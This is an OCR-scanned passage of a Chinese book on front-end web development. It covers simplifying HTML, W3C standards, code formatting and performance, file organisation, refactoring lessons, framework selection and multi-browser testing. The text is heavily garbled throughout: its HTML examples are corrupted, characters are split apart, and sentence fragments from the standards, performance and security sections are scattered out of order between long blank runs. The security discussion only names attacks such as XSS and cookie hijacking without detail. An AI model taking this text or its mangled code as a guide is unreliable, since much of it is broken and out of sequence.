实现 的 效果 可 以 更 好 。<font> 标 签 完全 可 以 通过 











， 代 码 的 可 读 性 较 差 。 再 来 看 一 段 代码 : 


<! 一 第 一 段 代码 片段 --> 
<div id="slideshow"> 
<div class="current"><img src="./images/pic011.gif" width="189" 
height="176" /> 
</div> 
«lveimy SLe=". Almges/pLie0lZ.gLfEY width="188 ENET LGA 
<div><img src="./images/pic013.gif" width="188" height="176" /></div> 





AS 
<! 一 第 二 段 代码 片段 --> 
<div><br/> 
<a href="./gljd/gywm/"> 关 于 我 们 </a> | <a href="./gljd/wzls/"> 网 站 
声明 </a> 
bE 必 
版 权 所 有 gcopy; 于 四 出 明史 国 | 轴 -十 加 什 十 | <br /><a href= 
机 em = " target=" blank"> EE </a> 
/i 








在 上 面 的 代码 段 中 ， 第 一 段 代码 中 的 <img> 标 签 外 的 <div> 标 签 是 可 以 省 略 的 ，<img> 标 签 内 的 width 和 height 属 性 可 以 统一 通过 CSs 代 码 设置 ，<img> 标 签 内 需要 添加 必要 的 alt 属 性 来 说 明 图 片 的 信 
息 。 在 第 二 段 代码 中 ， 依 靠 <br> 标 签 来 增 大 距离 是 不 合 语义 的 做 法 ， 应 该 通过 Css 样式 来 设置 。 因 此 ， 以 上 两 段 HTML 代 码 至 少 可 以 简化 为 : 


<! 一 第 一 段 代码 片段 --> 


<div id="slideshow"> 














<img src="./images/pic011.gif" class="current" alt="img info"™" /> 
<img src="./images/pic012.gif" alt="img info" /> 


<img src="./images/pic013.gif" alt="img info" /> 


2/ LTS 
<! 一 第 二 段 代码 片段 --> 
<div> 
<a href="./gljd/gywm/"> 关于 我 们 </a> | <a href="./gljd/wzls/"> 网 站 声 
明 </a> 
版 权 所 有 &CopYy; a 国 9 上 
«<a ref=" nm " target=" blank">B a 
</a> 
</div> 


另外 ， 站 点 中 的 CSS 样 式 文件 和 JavaScript 脚 本 文件 ， 没 有 任何 文件 被 压缩 和 合并 。 推 荐 的 做 法 是 分 别 压缩 合并 样式 文件 和 脚本 文件 ， 在 缩小 文件 大 小 的 同时 也 减少 了 文件 的 HTTP 请 求 次 数 ， 提 高 了 性 





综合 以 上 的 这 些 信息 ，Web 前 端 开发 的 现状 可 以 概括 为 : 前 端 技术 发 展 迅速 ， 但 起 步 较 晚 ， 基 础 薄弱 ; 前 端 工程 师 热 情 高 涨 ， 但 缺乏 足够 技能 培训 ， 对 代码 规范 重视 不 足 ， 对 一 些 基 础 原理 的 理解 不 够 





1.3 ”规范 的 Web 前 端 代码 : 更 易 维护 、 更 高 性 能 和 更 安全 


规范 的 代码 ， 这 是 所 有 软件 开发 中 对 代码 的 基本 要 求 ， 前 端 开发 也 是 一 样 的 ， 要 求 编写 规范 的 HTML、CSSs 和 Javascript 代 码 。 


什么 样 的 前 端 代码 才能 称 得 上 规范 的 代码 ”探讨 这 个 问题 之 前 ， 首 先 需要 强调 的 是 规范 不 是 标准 ， 不 是 放 之 四 海 而 蕴 准 的 ， 不 同 的 项 目 中 的 代码 规范 是 有 可 能 有 差异 的 ， 比 如 命名 ， 有 些 项 目 规定 
HTML 标 签 的 id 必须 要 以 控件 的 缩写 名 作为 前 缀 ， 如 按钮 的 id 名 以 “btn” 作 为 前 缀 ， 有 些 只 是 规定 命名 有 意义 就 可 以 。 再 比如 有 些 项 目 规定 JavaScript 代 码 语句 结尾 必须 添加 分 号 ， 但 是 有 些 项 目 并 不 要 
求 ， 大 名 易 易 的 Bootstrap 源 代码 中 并 没有 给 Javascript 语 句 结尾 添加 分 号 。 因 此 ， 规 范 的 作用 只 是 让 同一 个 团队 代码 风格 统一 ， 减 少 协作 时 的 复杂 性 ， 确 保 后 续 的 维护 和 修改 方便 。 不 同 团队 中 遵循 的 规范 
有 可 能 存在 部 分 差异 ， 但 是 在 同一 个 团队 中 规范 必须 是 统一 的 ， 团 队 中 的 成 员 应 该 严格 遵循 。 澄 清 了 规范 的 作用 后 ， 接 着 上 面 的 问题 来 探讨 什么 才 是 规范 的 前 端 代 码 。 






































Web 前 端的 代码 规范 主要 针对 的 是 HTML、CSS 和 Javascript 代 码 。 尽 管 前 端 代码 规范 在 不 同 场合 会 有 差异 ， 但 是 规范 的 前 端 代码 应 该 具有 如 下 特征 。 





(1) 符合 标准 








所 谓 的 标准 指 的 是 W3C 制 定 的 Web 标 准 ， 这 是 从 











这 








科 找 到 的 关于 W3C 的 介绍 : 


万 维 网 联盟 (World Wide Web Consortium，W3C) ， 又 称 W3C 理 事 会 。1994 年 10 月 在 麻 省 理工 学 院 计算 机 科学 实验 室 成 立 。 建 立 者 是 万 维 网 的 发 明 考 蒂 姆 ， 伯 纳 斯 - 李 。 


万 维 网 联盟 是 国际 著名 的 标准 化 组 织 。 


已 在 全 世界 16 个 地 区 设立 了 办 事 处 。2006 年 4 月 28 日 ， 万 维 网 联盟 在 中 国内 地 设立 首 个 办 事 处 。 


标准 、XHTML 标 准 和 HTML 标 准 ， 
尚未 发 布 最 终 版 ; 行为 标准 主要 包括 ECMAScript 标 准 和 
模型 (Document Object Model) 的 缩写 ， 是 一 个 中 立 了 村 
DOM 级 别 2，DOM 级 别 3 


的 缩 进来 体现 代码 的 层次 关系 ; 空格 和 空 行 主 
注释 来 解释 说 明代 码 文件 及 代码 段 ，HTML 代 码 中 使 


快 和 交互 更 流畅 。 规 范 的 前 端 代码 应 该 针对 这 些 方 

















W3C 制 定 的 标准 包括 使 





语言 的 规范 、 开 发 中 使 
前 使 


















































的 标准 版 是 HTML 4.01 标 准 ，HTM 
0DOM 标 准 。ECMAScr 









































(2) 格式 规范 统一 





前 端 代码 的 格式 主要 包括 命名 、 代 码 缩 进 、 空 格 和 空 行 的 使 





语言 的 应 















































在 CSS 和 JavaScript 代 码 中 ， 上 

















(3) 高 性 能 


注释 的 情况 较 少 。 





程序 接 























ipt 是 ECMA (European Computer Manufacture 


， 人 允许 程序 访问 并 更 改 页 面 的 内 容 、 结 构 和 样式 。 





前 还 没有 发 布 正式 版 本 。W3C 推 荐 的 这 些 标准 受到 了 各 浏览 器 厂商 和 IT 互联 网 公司 的 欢迎 ， 前 端 代码 遵循 标准 则 可 以 保证 网 页 在 不 同 浏览 器 上 正常 


























1994 年 成 立 后 ， 至 今 已 发 布 近 百 项 相关 万 维 网 的 标准 ， 对 万 维 网 发 展 做 出 了 杰出 的 贡献 。 目 前 ,万 维 网 联盟 拥有 来 自 全 世界 40 个 国家 或 地 区 的 400 多 个 会 员 组 织 ， 


的 原则 和 解释 引擎 行为 等 ， 主 要 由 3 个 部 分 组 成 : 结构 (Structure) 标准 、 表 现 (Presentation) 标准 和 行为 (Behavior) 标准 。 结 构 标 准 包括 XML 
L5 是 HTML 和 XHTML 的 最 新 标准 ， 还 没有 发 布 最 终 版 ; 表现 标准 主要 指 的 是 CSS 样 式 标准 ， 
rs Association) 制定 的 标准 脚本 语言 (JavAScript) 。DOM 是 文档 对 象 
前 推荐 遵循 的 ECMAScript 标 准 是 ECMAScript 262 第 5 版 ，DOM 标 准 是 
展现 。 


目前 使 用 的 标准 版 是 CSS2，CSS3 


以 及 代码 注释 。 命 名 主要 有 HTML 元 素 的 id 和 class 名 ，JavaScript 中 函数 和 变量 的 命名 ;HTML、CSS 和 JavaScript 代 码 中 都 需要 通过 代码 
































前 端 性 能 体现 在 浏览 器 的 响应 速度 上 ， 包 括 网 页 的 加 载 速度 和 页 面 的 交互 响应 速度 。 网 页 加 载 所 占 
以 及 Javascript 加 载 和 运行 的 时 间 。 除 了 第 一 条 ， 其 余 都 和 前 端 代码 有 直接 的 关系 ， 减 少 文件 传输 时 间 的 最 直 
CSS 代 码 能 减少 浏览 器 解析 的 时 间 ， 加 快 浏览 器 演 染 过 程 ; 页 




















的 时 间 包括 后 端 处 理 请 求 的 时 间 、 代 码 文件 从 服务 器 端 传输 的 时 间 、HTML 和 CSSs 的 组合 















































(4) 高 安全 性 





网 站 的 安全 有 时 很 难 引起 一 些 互联 网 公司 的 足够 重视 ， 他 们 更 看 重 的 是 站 点 的 
的 重视 。 从 技术 上 讲 ， 网 站 的 安全 瓶颈 主要 在 后 端 ， 但 是 随 着 前 端 技术 的 发 展 ， 富 客户 端 应 
HTML 标 签 的 值 和 属性 、CSS 属 性 值 等 方式 伪造 恶意 代码 来 达到 攻击 的 目的 ， 因 此 ， 规 范 的 前 端 代码 至 少 
































前 端 代码 如 果 能 遵守 如 上 的 几 个 规范 点 ， 则 基本 上 能 称 为 高 质量 的 代码 。 


开 详 细 讨 论 。 


第 2 章 ”高效 Web 前 端 开发 


在 项 目 中 会 起 到 


| 


类 到 相同 的 文件 夹 中 ， 文 件 的 命名 规则 须 统一 并 且 





本 章 首 先 将 概述 Web 前 端 






































前 端 代码 的 结构 组 织 和 文件 的 命名 


面 来 编写 高 性 能 的 前 端 代码 ， 提 高 


发 中 的 相关 最 佳 实践 ， 如 前 端 代 码 文件 组 织 、 
半 功 倍 的 效果 ， 并 且 可 确保 开发 过 程 中 的 代码 结构 清晰 ， 易 维护 。 本 章 然 
开发 者 良好 的 职业 素养 ， 应 该 说 命名 规范 、 整 齐 的 格式 不 仅 是 开发 过 程 中 的 一 种 约定 ， 而 且 是 程序 员 之 间 











户 的 前 端 体验 。 





接 的 方式 就 是 减 小 文件 的 大 小 ， 越 少 的 代码 文件 相对 传输 就 会 更 快 ; 简洁 和 符合 标准 的 HTML 和 
面 中 请 求 数量 越 少 相对 页 面 加 载 时 间 也 会 越 快 ; 在 JavasScript 代 码 中 选择 性 能 更 好 的 实现 方案 ， 如 延迟 加 载 、 动 态 加 载 等 技术 ， 会 让 页 面 加载 更 





来 提高 代码 可 读 性 ， 如 操作 符 前 后 添加 空格 、 不 同 代码 段 罗 辑 之 间 添 加 空 行 等 ; CSS 和 Javascript 代 码 中 都 需要 添加 必要 的 
和 其 他 代码 格式 规范 一 样 ， 前 端 代码 格式 规范 也 是 为 了 提高 代码 的 可 读 性 和 可 维护 性 。 





展现 的 时 间 










































































户 体验 、 性 能 等 这 些 更 直观 的 方面 。2011 


越 来 越 多 ， 前 端 安全 问题 也 随 之 增多 ， 如 跨 站 点 











， 多 个 网 站 























针对 这 些 方面 





做 必 


的 安全 校 验 和 编码 ， 提 高 代码 的 安全 性 。 

















需要 强调 的 是 ， 酷 炫 的 技术 只 是 “浮云 ”， 





良好 的 编码 习惯 和 意识 才 是 真 功 夫 。 本 书后 续 的 章节 将 会 针对 如 上 的 代码 规范 点 展 


户 信息 泄露 风波 震惊 整个 互联 网 界 ， 
改 击 、Cookie 劫 持 等 。 这 些 攻 击 通过 设置 JavaScript 变 量 、 




















网 站 安全 也 再 次 引起 业内 























发 方式 











前 端 代码 重 构 、 前 端 框架 的 选择 ， 以 及 前 端 
后 会 介绍 前 端 代码 的 基本 命名 规范 和 格式 规范 ， 
良好 沟通 的 桥梁 。 








发 过 程 中 实用 的 开发 辅助 工具 等 ， 帮 助 读者 提高 前 端 




















发 的 效率 。 好 的 








良好 的 命名 规范 和 规整 的 格式 让 代码 看 起 来 干净 整洁 ， 也 体现 了 





代码 的 组 织 和 代码 文件 的 命名 并 没有 最 优 的 形式 ， 但 是 无 论 什么 代码 ， 它 们 所 遵循 的 原则 是 相同 的 ， 即 在 同一 个 项 目 中 代码 的 组 织 结构 一 定 要 清晰 ， 同 类 型 的 代码 文件 或 者 相同 模块 的 代码 文件 尽量 归 





(1) 代码 文件 组 织 结构 


前 端 代码 文件 主要 包含 JavaScript、CSS、HTML 等 文件 ， 以 及 这 些 代码 文件 相关 的 图 片 、Flash、 


命名 要 有 意义 。 























构 清晰 、 一 目 了 然 ， 还 





考虑 代码 的 复 用 。 




















如 下 是 一 种 常用 的 前 端 文件 的 组 织 结构 : 








“js (放置 JavaScript 代 码 ) 
“ lib (放置 框架 JavaScript 文 件 ) 
:custom.js 
“css (放置 CSS 样 式 代码 ) 
“lib (放置 框架 CSS 文 件 ) 
“ images (放置 用 于 样式 中 的 背景 图 ) 
“ reset.css (统一 元 素 上 默认 样式 的 样式 文件 ) 
“ custom.css (业务 相关 样式 文件 ) 
“resource (放置 页 面 图 片 文件 以 及 其 他 类 型 资源 文件 ) 


* index.html 











基于 这 样 的 原则 ， 惯 





的 做 法 是 同类 文件 放 在 一 起 ， 并 按 模块 划分 文件 结构 。 


























代码 文件 整体 按照 文件 类 型 的 不 同 归 类 ， 同 一 类 型 的 代码 文件 则 需 


体 的 业务 模块 来 划分 ， 切 鼠 把 多 个 模块 的 代码 编写 到 同一 个 文件 中 。 划 分 的 粒度 以 最 大 化 代码 复 

















视频 等 资源 文件 。 如 何 合理 地 组 织 这 些 文件 是 项 目 成 败 的 关键 因素 之 一 ， 对 于 该 文件 ， 既 要 考虑 结 




















为 标准 ， 这 样 做 的 优点 是 


易于 维护 和 管理 。 不 同 模块 的 代码 放置 到 不 同 的 文件 中 也 更 有 利于 多 人 协作 开发 。 图 





下 ES scripts 
by Calib 
reader.annotation.is 


四 
加 


2-1 是 实际 项 目 中 的 一 个 示例 。 


reader.flip.core.js 
reader.flip.is 
reader.ls 
reader.media.is 
reader.scripture.js 
reader.ui.js 


reader.util.js 
reader.vertical.js 








2-1 代码 文件 组 织 结 











构 示 例 








如 果 每 种 分 类 下 面 的 文件 过 多 ， 则 可 以 根据 对 应 的 模块 来 归 类 到 不 同 的 模块 文件 夹 中 。 例 如 ， 某 个 项 目 业务 模块 很 多 ， 导 致 前 端 JavaScript 脚 本 文件 数量 过 多 ， 如 果 这 些 文件 放置 到 同一 个 文件 夹 中 ， 
将 会 增加 维护 的 困难 。 如 果 按 照 模块 的 不 同 新 建 不 同 的 文件 夹 ， 并 把 同一 模块 相关 的 代码 文件 放置 在 对 应 的 模块 文件 夹 中 ， 则 代码 文件 的 结构 更 加 清晰 。 


细心 的 读者 可 能 会 发 现代 码 文件 的 细 化 会 使 代码 文件 的 数量 增多 ， 相 应 地 进行 网 站 加 载 时 请 求 的 数量 也 会 增加 ， 这 样 会 导致 网 页 整体 的 加 载 时 间 变 长 。 的 确 ， 加 载 文件 数量 增加 会 影响 页 面 加 载 的 速 
度 ， 所 以 ， 发 布 时 需要 合并 相应 的 代码 文件 。 值 得 庆幸 的 是 ， 有 相关 的 工具 或 插件 可 以 弥补 这 一 不 足 ， 比 较 著 名 的 有 雅虎 (Yahoo) 公司 开发 的 YUI Compressor 和 微软 公司 开发 的 Web Optimization。 


YUI Compressor 是 基于 Java 平 台 开发 的 ， 在 Java 平 台 下 应 用 较 多 ， 而 Web Optimization 则 是 基于 .NET 平 台 开发 ， 所 以 在 ASP.NET 开 发 的 项 目 中 广泛 应 用 。 


(2) 代码 文件 的 命 


代码 文件 命名 的 原则 主要 是 名 称 需 要 表明 文件 对 应 的 模块 内 容 、 对 应 的 版 本 号 和 
号 ，min 表 明 此 文件 为 文件 的 压缩 格式 版 本 。 如 果 文 件 为 子 模块 文件 ， 则 在 文件 名 中 


responsive.css。 


2.2 ”前 端 代码 重 构 





代码 重 构 是 业内 经 常 讨 论 的 一 个 热门 话题 。 习 


量 的 自动 化 测试 来 确保 
































文件 的 格式 等 ， 如 jQuery 的 文件 命名 为 query-1.8.2.min.js， 其 中 ，jquery 表 明文 件 的 内 容 ，1.8.2 表 明文 件 的 版 本 
点 号 或 短 横 线 来 表明 父子 关系 ， 如 Bootstrap 框 架 中 响应 式 设计 模块 对 应 的 CSS 文 件 的 命名 为 : bootstrap- 














构 指 的 是 在 不 改变 代码 外 部 行为 的 情况 下 进行 源 代码 修改 ， 生 








构 之 前 需要 考虑 的 是 和 











构 后 的 代码 歇 辑 ， 可 对 于 普遍 缺乏 自动 化 测试 的 前 端 代码 来 说 ， 重 构 之 前 一 定 要 考虑 再 三 才能 下 手 。 


量 构 后 如 何 才能 保证 外 部 行为 不 改变 。 对 于 后 端 代码 来 说 ， 可 以 通过 大 














我 曾经 有 一 次 不 算 太 成 功 的 前 端 重 构 经 历 ， 所 幸 的 是 没有 导致 大 大 的 问题 ， 但 教训 是 惨痛 的 。 此 次 重 构 的 项 目 本 身 没有 足够 的 自动 化 测试 ， 尤 其 是 针对 前 端的 自动 化 测试 ， 其 实在 重 构 之 前 也 预想 到 了 


























重 构 的 风险 。 先 来 介绍 重 构 之 前 项 目 存在 的 问题 : 项 目的 前 端 代码 没有 统一 的 规范 ， 不 同人 员 开 发 的 模块 对 应 的 代码 风格 完全 不 同 ， 即 使 有 相同 的 逻辑 也 是 由 完全 不 同 的 代码 实现 的 ; 而且， 不 同 模块 的 代 


























码 写 到 了 相同 的 代码 文件 中 ， 使 得 文件 的 代码 量 很 大 ;项 目的 功能 较 多 ， 前 端 代码 量 大 ， 代 码 的 文件 也 多 ， 又 由 于 需求 变更 频繁 ， 因 此 代码 中 的 无 用 代码 量 较 大 ; 网 站 首页 加 载 时 间 过 长 ， 平 均 加 载 时 间 超 
过 5 秒 ; 部 分 动态 模块 的 加 载 会 导致 页 面 “假死 ”。 总 体 来 说 ， 项 目 代码 存在 的 问题 就 是 维护 性 差 和 性 能 差 ， 如 果 要 持续 地 添加 新 功能 ， 就 有 必要 重 构 现 有 的 代码 。 









































鉴于 项 目 代码 的 实际 情况 ， 并 且 考虑 到 缺乏 足够 的 自动 化 测试 ， 因 此 ， 我 权衡 再 权衡 ， 最 终 决定 先 尝 试 对 前 端的 部 分 代码 进行 重 构 。 重 构 的 过 程 主要 分 为 如 下 几 个 步骤 。 












































1) 删除 无 用 代码 ， 精 简 代 码 。 无 用 的 代码 主要 集中 在 CSS 和 和 JavaScript 文件 中 ， 包 括 已 经 不 起 作用 的 CSs 样 式 和 废弃 的 JavaScript 函 数 。 这 个 重 构 过 程 是 比较 麻烦 的 ， 因 为 修改 的 过 程 需要 小 心 翼 翼 ， 不 



























































停 地 查看 函数 和 变量 在 上 下 文 的 调用 关系 ， 以 免 错 删 代 码 。 总 体 来 说， 这 个 阶段 的 重 构 还 是 利 大 于 浆 ， 虽 然后 续 发 现 了 一 些 由 于 误 删 而 导致 的 Bug， 但 是 删除 了 废弃 的 代码 ， 提 高 了 后 续 的 可 维护 性 。 




















2) 前 端 代码 规范 化 。 页 面 的 HTML 标 签 中 还 有 大 量 的 内 联 CSS 样 式 ， 有 些 页 面 的 head 部 分 也 有 CSS 样 式 ， 需 要 把 这 些 CSS 放 到 独立 的 文件 中 ; 调整 代码 的 层次 缩 进 格式 ， 不 同 层级 按照 4 个 空格 来 缩 
进 ; 更 改 标准 已 不 推荐 的 标签 ， 如 <center>、<b> 等 ， 改 为 由 CSS 样 式 控制 ; 统一 命名 规则 ， 这 里 主要 涉及 HTML 中 的 id 和 class 名 称 ; 另外， 在 JavaScript 中 集中 定义 局 部 变量 ， 并 把 部 分 全 局 变量 转变 为 





















































局 部 变量 ， 缩 小 变量 的 作 





域 。 


























3) 整理 基础 类 库 。 网 站 初期 为 了 加 快 开 发 的 进度 而 引入 了 多 个 框架 ， 其 中 包括 Ext JS、jQuery 以 及 多 个 jQuery 插件 。Ext JS 和 jQuery 中 重复 的 功能 较 多 ， 项 目 中 很 多 相同 的 实现 使 用 的 是 不 同类 库 中 的 
功能 ， 如 DOM 选 择 、AJAX 请 求 等 。 部 分 jQuery 的 UI 插 件 的 功能 也 和 Ext Js 中 的 功能 重复 。 鉴 于 项 目的 状况 ， 只 能 保守 选择 同时 保留 Ext JS 和 jQuery。 重 构 的 内 容 是 统一 UI 插件 的 使 用 、 统 一 基础 方法 的 使 






























































4) 前 端 代 码 模块 化 。 按 照 模块 归 类 CSS 代 码 ， 放 到 模块 对 应 的 单独 CSS 文 件 中 ; 按照 模块 分 离 JavaScript 代 码 ， 按 照 模块 定义 不 同 的 命名 空间 ; 将 JavaScript 代 码 中 的 公共 方法 归 类 到 独立 的 共通 文件 








中 ， 同 时 引入 面向 对 象 的 思想 来 重 构 JavaScript 代 码 ， 进 一 步 明 确 公有 接口 和 私有 接口 。 





5) 提高 页 面 加 载 性 能 。 











JavaScript 文 件 的 引用 顺序 
































将 部 分 不 影响 首页 展示 的 JavaScript 文 件 延 迟到 页 面 加 载 后 加 载 ; 删 除 页 面 中 初始 隐藏 的 区 域 ， 改 为 通过 JavaScript 按 需 动态 生成 ;页 面 中 的 部 分 图 片 延迟 加 载 ; 调整 CSS 和 
， 即 CSS 在 前 JavaScript 在 后 ; 给 静态 文件 设置 缓存 ; 使 用 CSS Sprite， 合 并 首页 背景 图 ; 合并 和 压缩 发 布 后 的 CSS 和 JavaScript 代 码 文件 。 






















































































从 上 面 的 重 构 内 容 可 以 看 到 ， 这 次 重 构 的 目的 是 明确 的 ， 即 提高 前 端 代码 的 可 维护 性 和 性 能 。 从 中 也 暴露 了 重 构 过 程 中 的 一 些 问题 : 最 主要 的 问题 还 是 低估 了 重 构 的 风险 ， 导 致 后 续 发 现 了 不 少 新 








Bug; 没有 足够 的 自动 化 测试 ， 而 冒 然 去 修改 代码 ， 很 难保 证 最 终 修改 代码 的 正确 性 ， 其 次 是 对 于 性 能 优化 ， 事 先 没 有 量化 ， 没 有 做 任何 性 能 方面 的 监控 ,没有 抓 住 性 能 主要 的 瓶颈 ， 所 以 性 能 部 分 的 重 


就 显得 比较 盲目 。 
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有 了 这 次 的 重 构 实践 经 历 ， 再 加 上 学 习 业 内 的 一 些 经 验 ， 我 归纳 了 如 下 的 前 端 重 构 最 佳 实践 。 








“ 重 构 前 一 定 要 预 估 风 险 ， 如 果 没有 足够 的 自动 化 测试 ， 最 好 是 先 完善 自动 化 测试 代码 。 


: 重 构 的 目的 和 范围 要 明确 ， 切 忌 育 目 修改 。 前 端 代码 的 重 构 目 的 主要 是 提高 代码 的 可 维护 性 、 可 读 性 和 性 能 。 


“ 最 好 是 先 易 后 难 ， 循 序 渐进 。 首 先 修改 诸如 命名 、 格 式 等 不 涉及 具体 逻辑 的 内 容 ， 然 后 考虑 模块 化 和 性 能 提升 等 与 具体 逻辑 相关 的 内 容 。 


“ 重 构 过 程 中 要 持续 测试 ， 在 多 个 浏览 器 中 测试 ， 确 保重 构 的 部 分 功能 正确 。 切 忌 在 大 量 重 构 后 再 进行 测试 ， 因 为 大 量 重 构 后 基本 很 难 记得 重 构 的 逻辑 ， 也 就 有 可 能 遗漏 部 分 测试 用 例 。 





“ 如 果 是 性 能 提升 ， 要 事先 检测 网 站 的 整体 性 能 并 量化 ， 找 出 性 能 瓶颈 。 重 构 过 程 中 要 持续 监控 性 能 ， 并 对 比 性 能 提升 的 效果 。 


2.3 ”合理 使 用 前 端 框架 


JavaScript 本 身 是 一 种 





























很 强大 的 脚本 语言 ， 但 是 JavaScript 固 有 的 灵活 性 和 由 于 使 用 多 浏览 器 而 产生 的 复杂 性 ， 在 使 用 时 并 不 能 得 心 应 手 。 此 种 状况 下 ，JavaScript 框 架 的 重要 性 就 显现 出 来 了 。 





























JavaScript 框 架 是 JavaScript 代 码 的 工具 集 和 函数 集 ， 一 般 包括 DOM 元 素 操作 、DOM 事 件 的 封装 、AJAX 操 作 、UI 控 件 封 装 以 及 一 些 功能 算法 的 扩展 等 ， 如 string、array 等 的 功能 扩展 。 好 的 JavaScript 框 




















架 已 经 经 过 了 大 量 的 功能 涡 














I 试 、 性 能 测试 ， 也 经 过 了 各 主流 浏览 器 的 兼容 测试 ， 在 项 目 中 应 用 前 端 框 架 ,不 仅 加 快 了 项 目的 开发 进度 ， 同 时 还 避免 了 出 现 各 种 浏览 器 的 兼容 问题 。 















































前 端 代码 天 生 的 开源 优势 使 得 前 端 开源 框架 异常 丰富 ， 全 球 最 大 的 社交 编程 及 代码 托管 网 站 之 一 GitHub 中 收录 的 开源 项 目 也 以 JavaScript 项 目 居多 ， 但 是 正 因为 前 端 框架 多 种 多 样 ， 各 个 框架 的 功能 侧 




















重点 也 不 同 ， 如 何 选取 合适 项 目的 框架 ， 就 成 为 前 端 开 发 人 员 的 一 项 技能 。 


给 项 目 选择 一 个 前 端 框架 ， 至 少 需要 考虑 如 下 几 个 因素 。 


























1) 项 目的 需求 。 这 是 选择 前 端 框架 的 最 主要 因素 之 一 。 选 择 框架 之 前 ， 先 要 调查 项 目的 基本 需求 ， 调 查 项 目 是 否 有 AJAX 操 作 ” 是 否 需要 模板 化 ”数据 传输 的 格式 是 JSON 还 是 XML 等 ”项 目 需要 支持 的 
浏览 器 有 哪些 ? 项 目 是 移动 应 用 还 是 普通 的 网 站 ? 项 目 中 需要 哪些 主要 的 UI 模块 ? 常用 的 UI 模块 有 模 态 窗口 、 滑 块 控 件 、 进 度 条 、 提 示 框 、 分 割 框 、 幻 灯 显 示 以 及 自动 填充 等 。 


2) 项 目的 特点 。 项 目 本 身 的 特点 也 是 选取 框架 的 一 个 重要 因素 ， 这 些 特点 包括 项 目 开 发 团队 的 前 端 技术 能 力 、 项 目的 开发 周期 ， 以 及 是 否 是 长 期 维护 的 产品 等 。 使 用 框架 是 有 学 习 成 本 的 ， 需 要 开发 团 


























































































































队 先 学 习 框架 的 使 用 方法 ， 
上 手 、 能 快速 开发 的 框架 ， 

















如 果 某 个 框架 对 开发 团队 来 说 是 不 易 上 手 和 使 用 的 ， 那 么 就 可 能 需要 考虑 其 他 相对 容易 上 手 的 框架 。 项 目 开 发 周期 的 长 短 也 会 影响 框架 的 选择 ， 开 发 周期 短 则 优先 考虑 一 些 容易 
或 者 选择 使 用 多 个 框架 。 如 果 项 目 是 需要 长 期 升级 维护 的 ， 则 选择 框架 时 需要 考虑 框架 本 身 的 升级 、 框 架 本 身 的 扩展 性 等 。 























3) 框架 的 特点 。 分 析 项 目的 状况 后 ， 则 可 以 开始 选择 框架 了 。 从 框架 的 角度 出 发 ， 需 要 调查 框架 是 否 满足 需求 ? 框架 的 性 能 是 否 可 以 接受 ? 框架 是 否 持续 开发 中 ? 文档 和 例子 是 否 充足 ? 是 否 有 技术 支 
持 ? 是 否 有 版 权 问 题 ? 如 果 收 费 ， 价 格 是 多 少 ? 有 些 框架 属于 轻 量 级 的 ， 功 能 集中 但 文件 小 ， 加 载 快 ， 有 些 框 架 功 能 多 ， 面 面 俱 到 ， 但 文件 相对 较 大 ， 加 载 也 慢 一 些 ， 有 些 框架 容易 上 手 ， 但 是 运行 速度 
慢 ， 会 影响 页 面 整体 的 泻 染 ， 所 有 这 些 性 能 因素 要 尽早 分 析 清 楚 。 历 史 悠久 的 框架 已 经 经 过 了 很 多 项 目 实际 的 检验 ， 这 些 框架 的 质量 高 ，Bug 会 少 一 些 。 如 果 框 架 有 官方 正式 的 API 文 档 、 对 应 的 代码 示例 以 





















































及 技术 支持 渠道 ， 则 会 帮助 使 用 者 快速 地 掌握 框架 的 使 用 方法 。 









































考量 前 端 框架 主要 就 是 如 上 介绍 的 这 些 原则 。 需 要 强调 的 是 ， 框 架 虽然 非常 有 用 ， 但 是 不 要 过 分 依赖 ， 不 能 只 是 为 了 框架 中 的 某 一 个 功能 就 引入 整个 框架 ， 这 样 会 导致 前 端 代码 过 于 庞大 ， 影 响 站 点 的 



































性 能 。 鉴 于 框架 在 项 目 中 的 重要 性 ， 一 般 在 大 型 的 Web 项 目 中 需要 有 专门 的 个 人 或 团队 来 管理 前 端 框架 及 其 扩展 。 























了 解 前 端 框架 的 实际 使 用 情况 也 有 助 于 我 们 选择 合适 的 框架 。 在 2012 年 10 月 份 ， 国 外 知名 的 前 端 工程 师 PPK (Peter-Paul Koch) 曾经 发 起 过 一 个 有 关 前 端 框架 使 用 的 调查 ， 调 查 结果 显示 在 过 去 一 年 
















































































中 95% 的 开发 者 使 用 过 JavaScript 框 架 ，91% 的 调查 者 表示 在 超过 一 半 的 项 目 中 使 用 过 框架 。 对 单独 的 框架 ，PPK 提 出 了 两 个 问题 : 























1) 在 过 去 一 年 内 你 使 





过 “xx 框架 ” 吗 ? 








2) 你 是 否 在 多 于 一 


Es 的 项 目 中 使 用 了 “xx 框 架 ”? 





















































调查 的 结果 还 显示 ， 使 用 率 较 高 的 完备 框架 有 jQuery、YUI、Prototype、Ext JS、MooTools 等 。 尤 其 是 jQuery， 有 超过 91% 的 调查 者 在 过 去 的 一 年 中 使 用 过 jQuery， 称 其 为 Web 项 目标 配 的 前 端 框架 



































一 点 也 不 为 过 。 此 外 , 使 


率 较 高 的 轻 量 级 框架 有 Modernizr、Underscore.js、Backbone.js、Raphael.js 等 。 














前 端 工程 师 有 必要 了 解 和 学 习 这 些 常 用 的 框架 ， 理 解 这 些 框架 的 功能 、 性 能 、 设 计 原 理 等 ， 在 实际 的 项 目 中 选择 合适 的 框架 就 会 得 心 应 手 ， 不 至 于 盲目 选择 。 











2.4 多 浏览 器 测试 : 多 测试 ， 早 测试 








多 浏览 器 的 兼容 一 直 是 前 端 开发 中 比较 头疼 的 一 个 问题 ， 尤 其 是 IE 6 和 IE 7 浏览 器 盛行 的 阶段 。 以 目前 的 趋势 来 看 ， 随 着 |E 6 和 IE 7 等 浏览 器 逐渐 退出 市 场 以 及 各 新 版 本 浏览 器 对 标准 的 支持 会 越 来 越 
好 ， 浏 览 器 的 兼容 问题 也 随 之 慢 慢 变 小 。 此 外 ， 各 种 成 熟 的 前 端 框架 已 经 兼容 了 几乎 所 有 浏览 器 ， 如 果 使 用 了 这 些 框架 则 会 减少 浏览 器 的 兼容 问题 。 对 Web 应 用 开发 者 来 说， 这 是 一 件 值得 庆幸 的 事 ， 我 们 
再 也 不 用 经 常 解决 各 种 浏览 器 兼容 的 问题 了 ， 可 以 把 更 多 的 精力 放 在 具体 的 业务 逻辑 上 。 虽 然 浏 览 器 兼容 问题 已 不 是 前 端 开发 中 的 主要 问题 ， 但 是 还 是 会 有 一 些 兼 容 问题 需要 解决 。 目 前 多 浏览 器 的 兼容 问 
题 主要 集中 在 如 下 几 个 方面 。 







































































1.IE 7、IE 8 的 兼容 



































